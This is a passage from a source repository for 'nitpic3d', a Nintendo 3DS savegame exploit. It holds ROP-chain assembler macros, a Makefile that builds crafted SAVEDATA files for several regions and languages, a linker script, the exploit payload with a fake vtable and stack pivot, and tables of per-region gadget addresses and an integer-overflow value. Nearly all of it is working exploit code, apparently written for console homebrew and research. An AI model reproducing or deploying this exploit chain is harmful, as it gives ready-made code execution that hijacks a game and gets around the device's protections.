+ 0x8 + 0x8 + 0x4), \r2 219 | 220 | ROP_SETR0 \r0 221 | 222 | ROP_SETR1 \r1 223 | 224 | .word POP_R2R6PC 225 | .word \r2 226 | .word \r3 227 | .word 0 @ r4 228 | .word 0 @ r5 229 | .word 0 @ r6 230 | 231 | .word \funcadr 232 | .endm 233 | 234 | .macro CALLFUNC_NOARGS funcadr 235 | ROP_SETLR ROP_POPPC 236 | .word \funcadr 237 | .endm 238 | 239 | #define CALLFUNC_R0R1_R0OFFSET 0x14 + 0x4 240 | #define CALLFUNC_R0R1_R1OFFSET 0x14 + 0x8 + 0x4 241 | .macro CALLFUNC_R0R1 funcadr, r0, r1 242 | ROP_SETLR ROP_POPPC 243 | 244 | ROP_SETR0 \r0 245 | 246 | ROP_SETR1 \r1 247 | 248 | .word \funcadr 249 | .endm 250 | 251 | .macro CALL_GXCMD4 srcadr, dstadr, cpysize 252 | CALLFUNC GXLOW_CMD4, \srcadr, \dstadr, \cpysize, 0, 0, 0, 0, 0x8 253 | .endm 254 | 255 | @ This is basically: CALL_GXCMD4 *srcadr, dstadr, cpysize 256 | .macro CALL_GXCMD4_LDRSRC srcadr, dstadr, cpysize 257 | CALLFUNC_LOADR0 GXLOW_CMD4, \srcadr, \dstadr, \cpysize, 0, 0, 0, 0, 0x8 258 | .endm 259 | 260 | @ This is basically: CALL_GXCMD4 srcadr, *dstadr, cpysize 261 | .macro CALL_GXCMD4_LDRDST srcadr, dstadr, cpysize 262 | CALLFUNC_LDRR1 GXLOW_CMD4, \srcadr, \dstadr, \cpysize, 0, 0, 0, 0, 0x8 263 | .endm 264 | 265 | @ This is basically: CALL_GXCMD4 *srcadr, *dstadr, cpysize 266 | .macro CALL_GXCMD4_LDRSRCDST srcadr, dstadr, cpysize 267 | CALLFUNC_LDRR0R1 GXLOW_CMD4, \srcadr, \dstadr, \cpysize, 0, 0, 0, 0, 0x8 268 | .endm 269 | 270 | @ zoogie magic away!!!!!!!!!!!!!!!!!! 271 | @ with some edits for a new pivot 272 | #ifndef ROP_POPR3_ADDSPR3_POPPC 273 | .macro ROPMACRO_STACKPIVOT_PREPARE 274 | @ Write to the word which will be popped into sp. 275 | @ROPMACRO_WRITEWORD ROPBUFLOC(stackpivot_sploadword), \sp 276 | @ Write to the word which will be popped into pc. 277 | @ROPMACRO_WRITEWORD ROPBUFLOC(stackpivot_pcloadword), \pc 278 | .word POP_R0PC 279 | .word ROPBUFLOC(. + 0x4) // guess can say, expects ROPMACRO_STACKPIVOT_PREPAREREGS_BEFOREJUMP right after 280 | .endm 281 | 282 | .macro ROPMACRO_STACKPIVOT_PREPAREREGS_BEFOREJUMP r12, sp, lr, pc 283 | .word \r12 284 | .word \sp 285 | .word \lr 286 | .word \pc 287 | .endm 288 | 289 | .macro ROPMACRO_SELFVTABLE_STACKPIVOT_PREPAREREGS_BEFOREJUMP vtable_call_offset, sp, pc 290 | ROPMACRO_STACKPIVOT_PREPAREREGS_BEFOREJUMP (ROPBUFLOC(.) - \vtable_call_offset + 0x8), \sp, STACK_PIVOT, \pc 291 | .endm 292 | 293 | .macro ROPMACRO_STACKPIVOT_PREPAREREGS_BEFOREJUMP_DEFAULT sp, pc 294 | ROPMACRO_STACKPIVOT_PREPAREREGS_BEFOREJUMP STACK_PIVOT, \sp, GARBAGE, \pc 295 | .endm 296 | #endif 297 | 298 | #ifdef ROP_POPR3_ADDSPR3_POPPC 299 | .macro ROPMACRO_STACKPIVOT_JUMP 300 | .word ROP_POPR3_ADDSPR3_POPPC 301 | .endm 302 | #endif 303 | 304 | .macro ROPMACRO_STACKPIVOT sp, pc 305 | #ifndef ROP_POPR3_ADDSPR3_POPPC 306 | ROPMACRO_STACKPIVOT_PREPARE 307 | 308 | ROPMACRO_STACKPIVOT_PREPAREREGS_BEFOREJUMP_DEFAULT \sp, \pc 309 | 310 | #else 311 | .word ROP_POPR3_ADDSPR3_POPPC 312 | .word \sp - ROPBUFLOC(. + 0x4) 313 | #endif 314 | .endm 315 | 316 | .macro COND_THROWFATALERR 317 | #ifdef ROP_COND_THROWFATALERR 318 | .word ROP_COND_THROWFATALERR 319 | 320 | .word 0 @ r3 321 | .word 0 @ r4 322 | .word 0 @ r5 323 | #elif defined (ROP_COND_THROWFATALERR_ALT0) 324 | .word ROP_COND_THROWFATALERR_ALT0 325 | 326 | .word 0 @ r3, r0 is also loaded from here. 327 | #else 328 | #error "ROP_COND_THROWFATALERR* isn't defined." 329 | #endif 330 | .endm 331 | 332 | #define ROPMACRO_CMPDATA_CMPADDR_OFFSET 0x2C 333 | #define ROPMACRO_CMPDATA_CMPWORD_OFFSET 0x38 334 | .macro ROPMACRO_CMPDATA cmpaddr, cmpword, stackaddr_cmpmismatch 335 | ROP_SETLR ROP_POPPC 336 | 337 | ROP_LOADR0_FROMADDR \cmpaddr 338 | 339 | ROP_SETR1 \cmpword 340 | 341 | #ifdef ROP_CMPR0R1 342 | .word ROP_CMPR0R1 343 | .word 0 344 | #elif defined (ROP_CMPR0R1_ALT0) 345 | .word ROP_CMPR0R1_ALT0 346 | #else 347 | #error "ROP_CMPR0R1* isn't defined." 348 | #endif 349 | 350 | #ifndef ROP_POPR3_ADDSPR3_POPPC 351 | ROP_SETR0 ROPBUFLOC(. + 0x8 - 0x4 + 0x4) @ 8 size of ROP_SETR0, - 4 offset actual usage in inside ROP_SETR0, + 4 skip POP_R4R8PC 352 | .word POP_R4R7PC @ skip ahead pivot data 353 | 354 | @ pivot data for the vtable call 355 | @ROPMACRO_STACKPIVOT_PREPAREREGS_BEFOREJUMP ropkit_cmpobject_vtable, \stackaddr_cmpmismatch, ROP_POPPC 356 | ROPMACRO_SELFVTABLE_STACKPIVOT_PREPAREREGS_BEFOREJUMP 0x30, \stackaddr_cmpmismatch, ROP_POPPC 357 | 358 | #else 359 | 360 | ROP_SETR0 ROPBUFLOC(ropkit_cmpobject) 361 | 362 | #endif 363 | 364 | #ifdef ROP_POPR3_ADDSPR3_POPPC 365 | ROP_SETLR POP_R1PC 366 | #endif 367 | 368 | .word ROP_EQBXLR_NE_CALLVTABLEFUNCPTR @ When the value at cmpaddr matches cmpword, continue the ROP, otherwise call the vtable funcptr which then does the stack-pivot. 369 | 370 | #ifdef ROP_POPR3_ADDSPR3_POPPC 371 | .word (\stackaddr_cmpmismatch) - ROPBUFLOC(. + 0x4) 372 | #endif 373 | .endm 374 | 375 | @ Size: 0x14 + 0x8 + 0x8 + 0x4 (0x28) 376 | .macro ROPMACRO_WRITEWORD addr, value 377 | ROP_SETLR ROP_POPPC 378 | 379 | ROP_SETR0 \addr 380 | 381 | ROP_SETR1 \value 382 | 383 | .word ROP_STR_R1TOR0 384 | .endm 385 | 386 | @ Size: 0x14 + 0x20 + 0x8 + 0x4 (0x40) 387 | #define ROPMACRO_COPYWORD_SRCADDROFFSET 0x2c 388 | #define ROPMACRO_COPYWORD_DSTADDROFFSET 0x38 389 | .macro ROPMACRO_COPYWORD dstaddr, srcaddr 390 | ROP_SETLR ROP_POPPC 391 | 392 | ROP_LOADR0_FROMADDR \srcaddr 393 | 394 | ROP_SETR1 \dstaddr 395 | 396 | .word ROP_STR_R0TOR1 397 | .endm 398 | 399 | .macro ROPMACRO_COPYWORD_FROMR0 dstaddr 400 | ROP_SETLR ROP_POPPC 401 | 402 | .word ROP_LDR_R0FROMR0 403 | 404 | ROP_SETR1 \dstaddr 405 | 406 | .word ROP_STR_R0TOR1 407 | .endm 408 | 409 | #define ROPMACRO_LDDRR0_ADDR1_STRADDR_VALUEOFFSET 0x24 //Offset relative to the start of ROPMACRO_LDDRR0_ADDR1_STRADDR where the add-value is located. 410 | .macro ROPMACRO_LDDRR0_ADDR1_STRADDR dstaddr, srcaddr, value 411 | ROP_LOADR0_FROMADDR \srcaddr 412 | 413 | ROP_SETR1 \value 414 | 415 | .word ROP_ADDR0_TO_R1 @ r0 = *srcaddr + value 416 | 417 | ROP_SETR1 \dstaddr 418 | 419 | .word ROP_STR_R0TOR1 @ Write the above r0 value to *dstaddr. 420 | .endm 421 | 422 | .macro ROPMACRO_LDDRR0_ADDR1_STRVALUE addr, addval, writeval 423 | ROP_LOADR0_FROMADDR \addr 424 | 425 | ROP_SETR1 \addval 426 | 427 | .word ROP_ADDR0_TO_R1 @ r0 = *addr + addval 428 | 429 | ROP_SETR1 \writeval 430 | 431 | .word ROP_STR_R1TOR0 @ Write the above writeval to . 432 | .endm 433 | 434 | .macro ROPMACRO_IFile_Close IFile_ctx 435 | ROP_LOADR0_FROMADDR \IFile_ctx 436 | 437 | .word IFile_Close 438 | .endm 439 | 440 | .macro GSP_Invalidate addr, size 441 | .word POP_R0PC 442 | .word GSPGPU_SERVHANDLEADR 443 | .word POP_R1PC 444 | .word 0xFFFF8001 445 | .word POP_R2R6PC 446 | .word \addr 447 | .word \size 448 | .word 0x1ffb0000 @valid don't care address 449 | .word 0x00090082 @invalidate's header 450 | .word GARBAGE 451 | .word GSPGPU_InvalidateDataCache 452 | .word GARBAGE 453 | .word GARBAGE 454 | .word GARBAGE 455 | 456 | .endm 457 | 458 | -------------------------------------------------------------------------------- /sploit/Makefile: -------------------------------------------------------------------------------- 1 | include $(DEVKITARM)/base_tools 2 | #--------------------------------------------------------------------------------- 3 | # path to tools 4 | #--------------------------------------------------------------------------------- 5 | export PATH := $(DEVKITARM)/bin:$(PATH) 6 | export CC := gcc 7 | #--------------------------------------------------------------------------------- 8 | # the prefix on the compiler executables 9 | #--------------------------------------------------------------------------------- 10 | PREFIX := arm-none-eabi- 11 | #--------------------------------------------------------------------------------- 12 | 13 | .PHONY: all eur usa jpn 14 | 15 | all: eur usa jpn 16 | eur: eur_de eur_en eur_es eur_fr eur_it 17 | usa: usa_en usa_es usa_fr 18 | jpn: jpn_ja 19 | 20 | eur_de: build/eur/de/SAVEDATA build/eur/de/nitpic3d.elf 21 | eur_en: build/eur/en/SAVEDATA build/eur/en/nitpic3d.elf 22 | eur_es: build/eur/es/SAVEDATA build/eur/es/nitpic3d.elf 23 | eur_fr: build/eur/fr/SAVEDATA build/eur/fr/nitpic3d.elf 24 | eur_it: build/eur/it/SAVEDATA build/eur/it/nitpic3d.elf 25 | 26 | usa_en: build/usa/en/SAVEDATA build/usa/en/nitpic3d.elf 27 | usa_es: build/usa/es/SAVEDATA build/usa/es/nitpic3d.elf 28 | usa_fr: build/usa/fr/SAVEDATA build/usa/fr/nitpic3d.elf 29 | 30 | jpn_ja: build/jpn/ja/SAVEDATA build/jpn/ja/nitpic3d.elf 31 | 32 | clean: 33 | rm -rf build 34 | 35 | build/eur/de/nitpic3d.elf: FLAGS := -Ttext=0x08883828 -DEUR=1 -DDE=1 36 | build/eur/en/nitpic3d.elf: FLAGS := -Ttext=0x08882f98 -DEUR=1 -DEN=1 37 | build/eur/es/nitpic3d.elf: FLAGS := -Ttext=0x08882f88 -DEUR=1 -DES=1 38 | build/eur/fr/nitpic3d.elf: FLAGS := -Ttext=0x08883fd8 -DEUR=1 -DFR=1 39 | build/eur/it/nitpic3d.elf: FLAGS := -Ttext=0x088834b8 -DEUR=1 -DIT=1 40 | build/usa/en/nitpic3d.elf: FLAGS := -Ttext=0x08881c48 -DUSA=1 -DEN=1 41 | build/usa/es/nitpic3d.elf: FLAGS := -Ttext=0x08881c58 -DUSA=1 -DES=1 42 | build/usa/fr/nitpic3d.elf: FLAGS := -Ttext=0x08882768 -DUSA=1 -DFR=1 43 | build/jpn/ja/nitpic3d.elf: FLAGS := -Ttext=0x0886ab78 -DJPN=1 44 | 45 | build/%/nitpic3d.elf: nitpic3d.s 46 | mkdir -p $(dir $@) 47 | arm-none-eabi-gcc -x assembler-with-cpp -nostartfiles -nostdlib -g -Wl,--use-blx -T nitpic3d.ld $(FLAGS) -o $@ $< 48 | 49 | build/%/SAVEDATA: build/%/nitpic3d.elf 50 | arm-none-eabi-objcopy -O binary $< $@ 51 | -------------------------------------------------------------------------------- /sploit/nitpic3d.ld: -------------------------------------------------------------------------------- 1 | OUTPUT_FORMAT("elf32-littlearm", "elf32-bigarm", "elf32-littlearm") 2 | OUTPUT_ARCH(arm) 3 | ENTRY(_start) 4 | 5 | SECTIONS { 6 | . = 0; 7 | 8 | .text : { 9 | PROVIDE(__payload_start__ = .); 10 | KEEP( *(.payload.header) ) 11 | . = ALIGN(4); 12 | KEEP( *(.payload.ROP) ) 13 | . = ALIGN(4); 14 | PROVIDE(__otherapp_start__ = .); 15 | KEEP( *(.payload.otherapp) ) 16 | . = __payload_start__ + 0xb264; 17 | PROVIDE(__otherapp_end__ = .); 18 | KEEP( *(.payload.end) ) 19 | . = __payload_start__ + 0xb278; 20 | } =0x41 21 | } 22 | 23 | __otherapp_size__ = __otherapp_end__ - __otherapp_start__; 24 | __otherapp_savefile_start__ = __otherapp_start__ - __payload_start__; 25 | -------------------------------------------------------------------------------- /sploit/nitpic3d.s: -------------------------------------------------------------------------------- 1 | .arm 2 | .cpu mpcore 3 | .arch armv6k 4 | 5 | #include "ropconstants.h" 6 | 7 | .global _start 8 | .section .payload.header 9 | _start: 10 | .word 0x01000D00 @ save header 11 | .word 0x0000B278 @ save size 12 | .byte 'N', 'P', '3', 'D' @ sploit header 13 | @ sploit game region 14 | #if defined EUR 15 | .byte 'E' 16 | #if defined DE 17 | .byte 'D', 'E' 18 | #elif defined EN 19 | .byte 'E', 'N' 20 | #elif defined ES 21 | .byte 'E', 'S' 22 | #elif defined FR 23 | .byte 'F', 'R' 24 | #elif defined IT 25 | .byte 'I', 'T' 26 | #else 27 | #error Expected language 28 | #endif 29 | .byte 0 30 | #elif defined USA 31 | .byte 'U' 32 | #if defined EN 33 | .byte 'E', 'N' 34 | #elif defined ES 35 | .byte 'E', 'S' 36 | #elif defined FR 37 | .byte 'F', 'R' 38 | #else 39 | #error Expected language 40 | #endif 41 | .byte 0 42 | #elif defined JPN 43 | .byte 'J', 'J', 'A', 0 44 | #endif 45 | .word __otherapp_savefile_start__ 46 | .word __otherapp_size__ 47 | @ had to move Object0 around a bit depending on the luck of the pointers and positions 48 | #if defined JPN 49 | Object0: 50 | .word Object1 - 0x20 51 | Object1: 52 | .word Object2 - 0x8 53 | #else 54 | Object1: 55 | .word Object2 - 0x8 56 | Object0: 57 | .word Object1 - 0x20 58 | #endif 59 | Object2: 60 | .word Object_Vtable 61 | 62 | .section .payload.ROP 63 | ROP: 64 | .word 0 @ r4 65 | .word 0 @ r5 66 | .word 0 @ r6 67 | .word ExceptionHandler_SET_R4R5R6_POP_R4R5R6PC @ clear off exception vectors with r4, r5 and r6 68 | .word GARBAGE 69 | .word GARBAGE 70 | .word GARBAGE 71 | #include "3ds_ropkit/payload.s" 72 | 73 | .section .payload.otherapp 74 | @ uncomment if wish to embed an otherapp at build time, even change name or path of file if you want 75 | @.incbin "otherapp.bin" 76 | 77 | .section .payload.end 78 | Object_Vtable_call: 79 | .word STACK_PIVOT @ vtable call (offset +0x74) for Object_Vtable 80 | Object_Vtable: @ Object with our vtable, setup for stack pivot, and overflow index also in here taking the space that would otherwise be GARBAGE (just compacting things a bit) 81 | .word Object_Vtable_call - 0x74 82 | .word ROP 83 | Overflow: 84 | .word OVERFLOW_VALUE @ make it so it points at Object0 by the time game accesses object pointer 85 | .word POP_R4R5R6PC 86 | -------------------------------------------------------------------------------- /sploit/ropconstants.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #if (defined EUR && defined USA) || (defined EUR && defined JPN) || (defined USA && defined JPN) 4 | #error Select just one region 5 | #endif 6 | 7 | #if defined EUR 8 | #define REGION(eur,usa,jpn) eur 9 | #elif defined USA 10 | #define REGION(eur,usa,jpn) usa 11 | #elif defined JPN 12 | #define REGION(eur,usa,jpn) jpn 13 | #else 14 | #error Define a region 15 | #endif 16 | 17 | #define ROP_POPPC REGION(0x0010da9c, 0x0010da8c, 0x0010d830) 18 | #define POP_R1PC REGION(0x001f5068, 0x001f5058, 0x001f4744) 19 | #define POP_R3PC REGION(0x0010d524, 0x0010d514, 0x0010d3e0) 20 | #define POP_R2R6PC REGION(0x001e8654, 0x001e8644, 0x001e8d8c) 21 | #define POP_R4LR_BXR1 REGION(0x00114824, 0x00114814, 0x00114668) 22 | #define POP_R4R8LR_BXR2 REGION(0x0018bbfc, 0x0018bbec, 0x0018ae0c) 23 | #define POP_R4R5R6PC REGION(0x0010d60c, 0x0010d5fc, 0x0010d4c8) 24 | #define POP_R4FPPC REGION(0x00110744, 0x00110734, 0x00110664) 25 | #define POP_R4R7PC REGION(0x00111630, 0x00111620, 0x00111550) 26 | #define POP_R4R8PC REGION(0x0010d2d4, 0x0010d2c4, 0x0010d184) 27 | 28 | #define ROP_STR_R1TOR0 REGION(0x0010f158, 0x0010f148, 0x0010eeec) 29 | #define ROP_STR_R0TOR1 REGION(0x0010d564, 0x0010d554, 0x0010d420) 30 | #define ROP_LDR_R0FROMR0 REGION(0x0013759c, 0x0013758c, 0x001360bc) 31 | #define ROP_ADDR0_TO_R1 REGION(0x0012d204, 0x0012d1f4, 0x0012c72c) 32 | 33 | #define MEMCPY REGION(0x001f4d58, 0x001f4d48, 0x001f4434) 34 | 35 | #define svcSleepThread REGION(0x00130014, 0x00130004, 0x0012f53c) 36 | 37 | #define GSPGPU_FlushDataCache REGION(0x0013135c, 0x0013134c, 0x00130460) 38 | #define GSPGPU_SERVHANDLEADR REGION(0x002d3488, 0x002d3488, 0x002d2420) 39 | 40 | #define IFile_Read REGION(0x001ee8cc, 0x001ee8bc, 0x001edf9c) 41 | #define IFile_Write REGION(0x00126594, 0x00126584, 0x00125cdc) 42 | 43 | #define POP_R0PC REGION(0x00126128, 0x00126118, 0x00125cb8) 44 | #define ROP_CMPR0R1_ALT0 REGION(0x0023a250, 0x0023a240, 0x00238820) 45 | #define MEMSET32_OTHER REGION(0x001f4470, 0x001f4460, 0x001f3b4c) 46 | #define svcControlMemory REGION(0x001f01d4, 0x001f01c4, 0x001ef894) 47 | #define ROP_INITOBJARRAY REGION(0x001f3345, 0x001f3335, 0x001f2a25) 48 | #define svcCreateThread REGION(0x0011c440, 0x0011c430, 0x0011c984) 49 | #define svcConnectToPort REGION(0x001260cc, 0x001260bc, 0x00125c5c) 50 | #define svcGetProcessId REGION(0x001260e4, 0x001260d4, 0x00125c74) 51 | #define SRV_GETSERVICEHANDLE REGION(0x001f0268, 0x001f0258, 0x001ef928) 52 | #define ROP_COND_THROWFATALERR REGION(0x0010878c, 0x0010878c, 0x00108674) 53 | #define GXLOW_CMD4 REGION(0x00131460, 0x00131450, 0x00130564) 54 | #define GSP_SHAREDMEM_SETUPFRAMEBUF REGION(0x00137c40, 0x00137c30, 0x00136760) 55 | #define GSPTHREAD_OBJECTADDR REGION(0x002cf580, 0x002cf580, 0x002ce580) 56 | //#define FS_MountSdmc REGION(0x0013060c, 0x001305fc, 0x0012f710) // no direct SDMC access 57 | //#define FS_MountSavedata REGION(0x00134cf4, 0x00134ce4, 0x00133998) 58 | #define IFile_Open REGION(0x001ee9ac, 0x001ee99c, 0x001ee07c) 59 | #define IFile_Close REGION(0x001ee8b4, 0x001ee8a4, 0x001edf84) 60 | #define IFile_Seek REGION(0x001e6bb4, 0x001e6ba4, 0x001e7638) 61 | 62 | #define ExceptionHandler_SET_R4R5R6_POP_R4R5R6PC REGION(0x00113680, 0x00113670, 0x001134e0) 63 | 64 | #define SAVEDATA_ADDRESS REGION(0x08882f98, 0x08881c48, 0x0886ab78) 65 | #define GARBAGE 0xDEADBEEF 66 | 67 | // ldm r0!, {r12-pc} 68 | // this instruction is sitting on top of a THUMB *BLX* instruction 69 | // amazingly, the same BLX is seen in all 3 regions, from the same function, jumping to the same other function 70 | // they both at the **exact** same position relative to each other 71 | // and properly aligned for ARM mode, go figure 72 | // also, thank you zoogie for finding this one 73 | #define STACK_PIVOT REGION(0x001f430c, 0x001f42fc, 0x001f39e8) 74 | 75 | #define Thread_Exit REGION(0x0021ee48, 0x0021ee38, 0x0021d41c) 76 | #define BreakHandlerPtr REGION(0x002d2d20, 0x002d2d20, 0x002d1cb8) 77 | #define SRV_Notification_Semaphore REGION(0x002ddaa4, 0x002ddaa4, 0x002dca3c) 78 | #define SRV_THREAD_HANDLE REGION(0x002ddaa8, 0x002ddaa8, 0x002dca40) 79 | #define LightSemaphore_Release REGION(0x001e26c4, 0x001e26b4, 0x001e3900) 80 | #define DSP_ThreadStop REGION(0x00135b64, 0x00135b54, 0x00134808) 81 | #define ERRF_THROW REGION(0x001f029c, 0x001f028c, 0x001ef95c) 82 | 83 | // sound/dsp related clear functions 84 | #define SOUND_CLEAR1 REGION(0x001e9604, 0x001e95f4, 0x001e9d18) 85 | #define SOUND_CLEAR2 REGION(0x001143e0, 0x001143d0, 0x00114224) 86 | #define DSP_Exit REGION(0x00113dc0, 0x00113db0, 0x00113c04) 87 | 88 | // some thread data 89 | // generic names because I'm unsure what to call these 90 | #define SOMETHREAD1EVENT REGION(0x002d9b74, 0x002d9b74, 0x002d8b0c) 91 | #define SOMETHREAD1TERMINATIONFLAG REGION(0x002d33ec, 0x002d33ec, 0x002d2384) 92 | #define SOMETHREAD1OBJ REGION(0x002d33f8, 0x002d33f8, 0x002d2390) 93 | #define SOMETHREAD2OBJ REGION(0x002e286c, 0x002e286c, 0x002e180c) 94 | 95 | // to overflow a multiplication of 200 96 | // Will make r0 point at or near save in memory 97 | // EUR: -0x8 98 | // USA: -0x8 99 | // JPN: -0xC 100 | // Object0 is then accessed with mov r0, [r0, #0x24] 101 | // despite languages on EUR and USA moving around memory, index overflow value is the same 102 | #define OVERFLOW_VALUE REGION(0x07AE1292, 0x07AE1292, 0x0147AC18) 103 | --------------------------------------------------------------------------------